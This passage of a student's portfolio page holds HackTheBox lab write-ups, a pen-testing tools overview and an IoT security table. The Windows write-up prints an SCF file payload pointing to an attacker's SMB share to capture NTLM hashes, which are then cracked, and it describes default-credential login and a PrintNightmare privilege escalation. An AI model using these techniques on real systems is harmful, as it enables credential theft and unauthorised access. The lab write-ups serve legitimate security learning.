an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script 